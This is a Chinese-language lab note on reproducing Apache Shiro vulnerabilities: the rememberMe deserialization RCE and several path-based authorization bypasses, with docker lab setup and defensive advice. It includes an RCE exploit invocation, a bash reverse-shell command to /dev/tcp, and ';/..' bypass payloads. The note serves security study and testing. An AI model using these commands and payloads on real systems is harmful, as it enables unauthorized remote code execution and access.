Shiro框架漏洞复现笔记
字数 1528
更新时间 2025-08-14 05:24:22
Apache Shiro框架漏洞复现与利用指南
1. Shiro框架简介
Apache Shiro是一个Java安全框架,提供身份验证、授权、密码和会话管理功能。其核心功能包括:
- 认证(Authentication):验证用户身份
- 授权(Authorization):控制用户访问权限
- 会话管理(Session Management):管理用户会话
- 密码学(Cryptography):提供加密功能
2. Shiro反序列化漏洞(CVE-2016-4437)
漏洞原理
Apache Shiro默认使用CookieRememberMeManager处理"记住我"功能,其处理流程为:
- 获取rememberMe的cookie值
- Base64解码
- AES解密
- 反序列化
漏洞成因:
- 早期版本使用硬编码AES加密密钥
- 即使新版本允许自定义密钥,但开发者可能使用公开密钥未修改
漏洞指纹识别
识别特征:
- 返回包中存在
set-Cookie:rememberMe=deleteMe - URL中包含shiro字样
- 有时服务器不会主动返回rememberMe=deleteMe,需要直接发包测试
复现环境搭建
使用vulhub环境:
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8888:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
漏洞利用步骤
- 使用shiro_attack工具寻找密钥(勾选相关选项)
- 利用获取的密钥进行命令执行
Linux不出网环境利用:
python3 shiro-1.2.4_rce.py http://192.168.109.9:8888/login.jsp
反弹shell命令:
bash -i >& /dev/tcp/192.168.109.9/8889 0>&1
3. Shiro权限绕过漏洞(CVE-2020-11989)
漏洞原理
Shiro通过拦截器控制访问权限:
anon:匿名拦截器,无需登录authc:登录拦截器,需要登录
漏洞成因:
- Shiro的URL路径表达式为Ant格式
*通配符匹配零个或多个字符串,但无法匹配路径分隔符/- Spring中
/hello和/hello/访问相同资源,导致权限绕过
影响版本
Apache Shiro < 1.5.2
复现环境搭建
docker pull vulfocus/shiro-cve_2020_1957
docker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.109.9 29136b1d3c61
漏洞验证
- 访问
/hello/1:被authc拦截器拦截,跳转到登录 - 访问
/hello/1/:绕过authc拦截器
Payload示例:
/dwdww;/../hello/1
xxxx/..;/hello/1
4. Shiro认证绕过漏洞(CVE-2020-1957)
漏洞原理
在使用Spring动态控制器时,攻击者通过构造..;跳转可以绕过Shiro的目录权限限制。
影响版本
Apache Shiro < 1.5.3
复现方法
与CVE-2020-11989类似
5. 相关漏洞对比(CVE-2020-11989 vs CVE-2020-13933)
| 漏洞编号 | 针对路由类型 | Shiro获取地址 | Spring获取地址 | 结果 |
|---|---|---|---|---|
| CVE-2020-11989 | 固定路由(/admin/page) | / | /admin/page | 未授权访问 |
| CVE-2020-13933 | 动态路由(/admin/{name}) | /admin/ | /admin/;page | 404错误 |
6. 防御建议
- 升级到最新版本Apache Shiro
- 自定义AES加密密钥,避免使用公开密钥
- 严格检查URL路径匹配规则
- 实施最小权限原则
- 禁用不必要的功能(如rememberMe)
7. 工具推荐
- shiro_attack:用于检测和利用Shiro反序列化漏洞
- ysoserial:生成反序列化payload
- Burp Suite:用于手动测试和验证漏洞
8. 参考链接
相似文章
相似文章